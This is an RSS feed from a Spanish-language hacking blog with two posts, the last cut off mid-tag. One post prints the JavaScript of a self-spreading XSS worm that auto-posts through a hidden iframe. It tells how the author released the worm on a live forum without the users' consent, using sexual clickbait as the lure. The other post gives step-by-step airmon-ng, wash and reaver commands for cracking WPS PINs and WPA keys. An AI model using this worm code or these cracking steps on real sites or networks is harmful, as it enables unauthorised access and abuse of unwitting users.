<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>0V3RL04D 1N TH3 N3T</title><link>http://0verl0ad.blogspot.com/</link><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/0v3rl04d1nTh3N3t" /><description>Vulnerabilities &amp;amp; more&lt;br&gt;</description><language>en</language><managingEditor>noreply@blogger.com (The X-C3LL)</managingEditor><lastBuildDate>Mon, 21 May 2012 05:55:25 PDT</lastBuildDate><generator>Blogger</generator><atom:id xmlns:atom="http://www.w3.org/2005/Atom">tag:blogger.com,1999:blog-2806641995089653786</atom:id><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">99</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/0v3rl04d1nTh3N3t" /><feedburner:info uri="0v3rl04d1nth3n3t" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><media:copyright>Copyright: "Vengador de las Sombras"</media:copyright><media:thumbnail url="http://img247.imageshack.us/img247/2859/vforvendettakw2.jpg" /><media:keywords>Hack,hacking,hackers</media:keywords><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology</media:category><itunes:owner><itunes:email>lessiem@arnet.com.ar</itunes:email><itunes:name>Copyright: "Vengador de las Sombras"</itunes:name></itunes:owner><itunes:author>Copyright: "Vengador de las Sombras"</itunes:author><itunes:explicit>no</itunes:explicit><itunes:image href="http://img247.imageshack.us/img247/2859/vforvendettakw2.jpg" /><itunes:keywords>Hack,hacking,hackers</itunes:keywords><itunes:subtitle>Vengador de las Sombras 's Podcast</itunes:subtitle><itunes:summary>Hacking en su maxima expresion</itunes:summary><itunes:category text="Technology" /><creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license><image><link>http://creativecommons.org/licenses/by/3.0/</link><url>http://creativecommons.org/images/public/somerights20.gif</url><title>Some Rights Reserved</title></image><feedburner:emailServiceId>0v3rl04d1nTh3N3t</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item><title>0verXW: semilla de un XSS Worm</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/MmrzolClcoI/0verxw-semilla-de-un-xss-worm.html</link><category>seguridad web</category><category>SMF</category><category>XSS</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Thu, 10 May 2012 08:04:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-9046463609578579723</guid><description>¡Saludos gente!&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; El día de ayer estuvimos realizando un pequeño experimento en cierto foro: la creación y observación de un XSS Worm inofensivo. Resumiendo un poco la historia, la idea surgió a primera hora de la mañana (en España), a eso de las 6 o las 7 del día, después de no haber dormido ni pizca. Estaba en el IRC con Seth charlando sobre viejas batallitas cuando recordé la existencia de un XSS en la web de cierta comunidad. Dicho XSS es conocido desde hace como mínimo 5 años, pero nunca se parcheó: como la web ya no se usaba, se borró el index, pero el resto de partes siguen todavía vivas y accesibles (¡un fuerte aplauso al admin!). Al linkearle la web vulnerable, no se le ocurrió a Seth otra cosa que dar una idea hipertentadora: codear un worm y soltarlo en el foro. Los que conozcais este blog desde sus inicios recordareis que siempre tuve cierta fascinación por este tipo de temas (&lt;a href="http://0verl0ad.blogspot.com.es/2009/02/xss-woms-el-terror-de-las-redes.html"&gt;XSS Worms: El terror de las redes sociales&lt;/a&gt;, asi que la idea me encantó.      Empecé a codear el worm, con bastantes problemas. Problemas del tipo: llevo demasiadas hora sin dormir y me estoy volviendo gilipollas por momentos y no consigo escribir bien una función; pero con la ayuda de Seth los conseguí solventar, no sin antes acordarme de la p*ta madre de todas las deidades.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Lo que codeé fue un simple PoC para probar si realmente se podría extender y aumentar con el tiempo la tasa de "infectados". Quería hacer una semilla, un inicio, y si funcionaba empezar un proyecto: codear un XSS Worm para SMF. Y como este experimento funcionó a las mil maravillas os puedo adelantar que este verano empezaré el proyecto (ya os iré informando de cómo evoluciona).&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; El XSS al no encontrarse dentro del foro, sino en la web, nos ponía el inconveniente de que era necesario que los usuarios hicieran click sobre un enlace para poder ejecutar el script. Esto sinceramente me desanimó bastante, porque empecé a temer que la gente no hiciera click. Pero todos estos temores eran infundados, ya que con un poco de ingeniería social (a.k.a chicas enseñando las tetas) todos hacen click. El objetivo que quería conseguir era la esencia propia de un worm, es decir, que se lleve a cabo su propagación de forma involuntaria, por lo que el script no iba a contener ningún payload real, únicamente tendría que añadir el enlace que ejecutaba el JS para que otro usuario incauto clickase sobre él y continuara expandiéndolo.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; El script  añade un iframe a la web vulnerable que está dirigido a la página de creación de un nuevo tema, y después se rellenan los campos y se envía el formulario:  &lt;br /&gt;&lt;blockquote&gt;function carga() {  fri = window.frames['Seth']; fri.document.getElementsByName("subject")[0].value = "La novia de Seth desnuda"; fri.document.getElementsByName("message")[0].value = '[url=URL QUE INFECTA][img]http://imgserv.ya.com/foros3.ya.com/pub/uploadedimg/8/o/i_1vkx9impdl1wq_mox631o8.jpg[/img][/url][br]¡Haz click en la imagen para ver toda la galeria!'; fri.document.getElementsByName("postmodify")[0].submit();   }   document.write('&amp;lt;iframe style="display:none" name="Seth" src="url del formulario para crear el tema" onload="carga()"&amp;gt;&amp;lt;/iframe&amp;gt;');&lt;/blockquote&gt;&amp;nbsp; Sobre este sencillo script se podrían hacer mil cosas para mejorarlo, pero como dije al principio unicamente perseguíamos la comprobación de si realmente se iba a expandir o no. El post que se generaba era el siguiente:  &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/--UFo1aVoVhk/T6vTCqd9RqI/AAAAAAAAAE8/G6bkLLhGX6M/s1600/wor.jpg" imageanchor="1"&gt;&lt;img border="0" height="291" src="http://1.bp.blogspot.com/--UFo1aVoVhk/T6vTCqd9RqI/AAAAAAAAAE8/G6bkLLhGX6M/s400/wor.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; Como podeis observar el título del tema invita a los morbosos a ver desnuda a la novia de uno de los usuarios, que junto a la imagen de la peligroja, parecen ser un imán de clicks. Para ocultar un mínimo la URL pensé en utilizar alguno de los servicios online que permiten acortar la ULR, pero todos ellos detectaban el XSS y me impiedían la acortación. Para poder bypassear esta restricción subí un archivo PHP, al mismo dominio donde estaba el script, que se encargaba de realizar una redirección para explotar el XSS, y éste archivo de mi dominio fue el que puse en el acortador. Una vez que ya todo estaba preparado lo único que nos faltaba era un usuario que activase el mecanismo. En este caso escogí a un usuario que estaba en el IRC:  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;16:13 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ codek`-`¿has visto la peli de 28 días despues ?&lt;br /&gt;16:13 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ hmm&lt;br /&gt;16:13 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ creo que no no me suena&lt;br /&gt;16:14 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ por??&lt;br /&gt;16:14 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ y con el amanecer de los muertos vivientes ?&lt;br /&gt;16:15 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ (URL maliciosa)&lt;br /&gt;16:15 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PHPIdler ¦ Title: Acorta tus Url: Haz tus Url más fáciles de recordar - XURL.es&lt;br /&gt;16:15 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ xDD&lt;br /&gt;16:15 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ creo que tampoco&lt;br /&gt;16:15 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ la verdad no soy muy cinéfilo&lt;br /&gt;16:16 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ [codek`-`] entonces no pillarás el chiste de esa URL xD&lt;br /&gt;16:16 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ voy a intentarlo&lt;br /&gt;16:16 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ xDD&lt;br /&gt;16:16 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ :o&lt;br /&gt;16:16 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ e entrao&lt;br /&gt;16:17 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ que me has infectado de algo?&lt;br /&gt;16:17 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ [codek`-`] Nopes =/&lt;br /&gt;16:17 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ Pero debería de haber pasado otra cosa =/&lt;br /&gt;16:17 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ Ahora&lt;br /&gt;16:17 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ Ahora ya funca&lt;br /&gt;16:17 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ JAJA&lt;br /&gt;16:17 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ me metido (comunidad vulnerable)&lt;br /&gt;16:18 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codek`-` ¦ pero no en el foro&lt;br /&gt;16:18 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ [jep_py] ¡ Esta vivo!&lt;br /&gt;16:18 :&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XC3LL ¦ [jep_py] ¡Esta vivo!&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Gracias a este infectado, poco a poco se fueron generando temas, conforme la gente iba clickando, otro tema se iba creando. Algunos usuarios se dieron cuenta pronto y pusieron el grito en el cielo. En cambio, la inmensa mayoría, seguía cayendo. He de decir que yo también caí en mi propio worm por error. Para que no se acumulasen en exceso empecé a borrar basantes, pero después lo dejé crecer para ver hasta que punto llegaba. En cierto momento tomé un pantallazo como recuerdo (clickad en ella para verla más grande):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-7kZUDlDv2rg/T6vXDAHkdsI/AAAAAAAAAFM/iVNumSmHRmU/s1600/Off1.jpg" imageanchor="1"&gt;&lt;img border="0" height="225" src="http://2.bp.blogspot.com/-7kZUDlDv2rg/T6vXDAHkdsI/AAAAAAAAAFM/iVNumSmHRmU/s400/Off1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Con este inofensivo worm pasemos un gran día ayer. Fue bastante divertido y quisiera agradecer a Seth (por ser la fuerza generatriz), a Jep y Codek (por echar una mano y ser los primeros "infectados"), a RGB (por permitirme hacer el vándalo un rato en su foro -él es el administrador del foro, no de la web ni el servidor, no tiene culpa de que no parcheen el XSS-) y a aquellos usuarios que se dieron cuenta de lo que estaba pasando y que les pedí que guardasen el secreto hasta el día siguiente. Me he divertido bastante con este experimento, y me ha servido para decidirme a hacer el proyecto que mencioné más arriba: un worm para SMF. Creo que no me dejo nada en el tintero, si es así ya lo añadiré cuando me acuerde.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Byt3z&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-9046463609578579723?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=MmrzolClcoI:GjgIBgieUKM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/MmrzolClcoI" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-05-10T17:18:15.613+02:00</atom:updated><media:thumbnail url="http://1.bp.blogspot.com/--UFo1aVoVhk/T6vTCqd9RqI/AAAAAAAAAE8/G6bkLLhGX6M/s72-c/wor.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2012/05/0verxw-semilla-de-un-xss-worm.html</feedburner:origLink></item><item><title>Atacando un punto de acceso con WPS</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/2kZqSU9ZZqA/atacando-un-punto-de-acceso-con-wps.html</link><category>comandos</category><category>wash</category><category>reaver</category><category>gnu/linux</category><category>wpa</category><category>wireless</category><category>backtrack</category><category>redes</category><category>wps</category><category>seguridad wireless</category><category>linux</category><category>aircrack</category><category>fuerza bruta</category><category>seguridad</category><category>wifi</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Tue, 01 May 2012 10:00:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-8323603373554736529</guid><description>&amp;nbsp;Hace unos meses surgió una&lt;b&gt; vulnerabilidad que afectaba a&lt;/b&gt; un tipo de autentificación mediante &lt;b&gt;&lt;a href="http://es.wikipedia.org/wiki/Wi-fi_protected_setup"&gt;WPS&lt;/a&gt; &lt;/b&gt;que por falta de hardware, no había podido probar hasta ahora.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp; En este post voy a intentar explicar como explotarla, como siempre desde &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;Backtrack 5 R2&lt;/a&gt;. &lt;br /&gt;Lo primero será comentar los tres tipos de conexión mediante WPS:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;En el primer método el router posee un &lt;i&gt;botón que al pulsarlo&lt;/i&gt; y activar su correspondiente enlace del &lt;i&gt;dispositivo que quiera conectarse&lt;/i&gt; se establecerá la conexión entre ambos, este método no es afectado por la vulnerabilidad.&lt;/li&gt;&lt;li&gt;El siguiente método consiste en agregar desde el router el  dispositivo deseado, este tipo, como la anterior tampoco es vulnerable.&lt;/li&gt;&lt;li&gt;El tercero y último consiste en que &lt;b&gt;el dispositivo que desea conectarse introducirá un pin proporcionado por el router&lt;/b&gt; y se establecerá la conexión. Este método &lt;b&gt;SI QUE ES VULNERABLE&lt;/b&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&amp;nbsp; Ahora que ya sabemos que tipo de WPS es vulnerable vamos a conocer el alcance de la vulnerabilidad: &lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&amp;nbsp; Con este ataque podemos &lt;b&gt;obtener&lt;/b&gt; el &lt;b&gt;pin de acceso&lt;/b&gt; (&lt;i&gt;para conectarnos por WPS&lt;/i&gt;), pero además nos mostrará la &lt;b&gt;clave WPA/WPA2&lt;/b&gt; asociada al punto de acceso (AP), todo esto &lt;b&gt;en unas horas&lt;/b&gt;, que comparado con los ataques de diccionario para WPA es mucho mas efectivo.&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp;Para realizar este ataque necesitaremos 2 herramientas, &lt;a href="http://code.google.com/p/reaver-wps/"&gt;&lt;b&gt;wash&lt;/b&gt; y &lt;b&gt;reaver&lt;/b&gt;&lt;/a&gt;. No voy a entrar en como instalar estas herramientas ya que en Backtrack ya vienen incluidas, &lt;b&gt;aunque podemos descargarlas de &lt;/b&gt;&lt;a href="http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz"&gt;aquí&lt;/a&gt; (en el interior del .tar.gz, en el directorio docs explica como instalarlo).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Para empezar a trabajar necesitamos poner nuestra tarjeta en modo monitor, para ello utilizaremos la herramienta &lt;a href="http://www.aircrack-ng.org/doku.php?id=airmon-ng"&gt;airmon-ng&lt;/a&gt; (perteneciente a la suite &lt;a href="http://www.aircrack-ng.org/"&gt;Aircrack-ng&lt;/a&gt;):&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;airmon-ng start &amp;lt;interfaz&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;&amp;nbsp;para el ejemplo:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;airmon-ng start wlan0&lt;/b&gt;&lt;/blockquote&gt;La interfaz en modo monitor pasará a ser &lt;b&gt;mon0&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Nuestro siguiente paso es &lt;b&gt;buscar puntos de acceso vulnerables&lt;/b&gt; con WPS al alcance, para ello usaremos &lt;b&gt;wash&lt;/b&gt;.&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;wash -i &amp;lt;interfaz&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;para el ejemplo:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;wash -i mon0&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-7RrLxAatsw0/T5s-vSQ7S_I/AAAAAAAAAik/bjZ5RyWuGxE/s1600/0.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="57" src="http://1.bp.blogspot.com/-7RrLxAatsw0/T5s-vSQ7S_I/AAAAAAAAAik/bjZ5RyWuGxE/s400/0.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; aquí veremos los &lt;b&gt;AP vulnerables&lt;/b&gt;, nosotros &lt;b&gt;escogeremos "wireless" y apuntaremos&lt;/b&gt; su &lt;a href="http://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC"&gt;&lt;b&gt;MAC&lt;/b&gt;&lt;/a&gt; (00:22:33:44:55:66).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Ahora ya tendremos solo nos quedará&lt;b&gt; lanzar reaver&lt;/b&gt; y esperar: &lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;reaver -i &amp;lt;interfaz&amp;gt; -b &amp;lt;MAC del punto de acceso&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;&amp;nbsp;siguiendo con el ejemplo:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;reaver -i mon0 -b 00:22:33:44:55:66&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-pOGhHufaNuI/T5s-waIiYzI/AAAAAAAAAis/miKsH620_u8/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="135" src="http://4.bp.blogspot.com/-pOGhHufaNuI/T5s-waIiYzI/AAAAAAAAAis/miKsH620_u8/s320/1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Joy5oQh6u3M/T5s-yK-4u_I/AAAAAAAAAi0/kTenzhuxMXQ/s1600/2.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-Joy5oQh6u3M/T5s-yK-4u_I/AAAAAAAAAi0/kTenzhuxMXQ/s320/2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-fTyrMwPxI5g/T5s-zVbeeLI/AAAAAAAAAi8/T76BwmAqNIA/s1600/4.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="225" src="http://4.bp.blogspot.com/-fTyrMwPxI5g/T5s-zVbeeLI/AAAAAAAAAi8/T76BwmAqNIA/s320/4.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ATvUnQXoVs0/T5s-0SXsXHI/AAAAAAAAAjA/nzAjFefiZHw/s1600/5.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; Como vemos en la última imagen &lt;b&gt;hemos obtenido el pin WPS junto con la clave WPA&lt;/b&gt;, todo en unas 3 horas (en otras pruebas que hice el proceso duró unas horas mas, unas 11 concretamente xD).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Como el proceso puede durar bastante tiempo, y para no perder las pruebas realizadas, &lt;b&gt;reaver nos permite suspender la sesión&lt;/b&gt; para continuarla cuando nos venga bien, esto es tan simple como &lt;b&gt;interrumpir el programa con CTRL+C&lt;/b&gt;:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-7LV7BbP6k1k/T5tCnt6q9pI/AAAAAAAAAjY/aQvslLSfCFs/s1600/5.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="84" src="http://3.bp.blogspot.com/-7LV7BbP6k1k/T5tCnt6q9pI/AAAAAAAAAjY/aQvslLSfCFs/s320/5.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; y para continuarlo &lt;b&gt;volvemos a llamar a reaver&lt;/b&gt; de la misma forma que antes (&lt;i&gt;reaver -i &amp;lt;interfaz&amp;gt; -b &amp;lt;MAC del punto de acceso&amp;gt;&lt;/i&gt;):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-c2O7q7pus_w/T5s-1Lc6dDI/AAAAAAAAAjI/Nrk0lSnBcik/s1600/6.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="64" src="http://2.bp.blogspot.com/-c2O7q7pus_w/T5s-1Lc6dDI/AAAAAAAAAjI/Nrk0lSnBcik/s320/6.png" width="320" 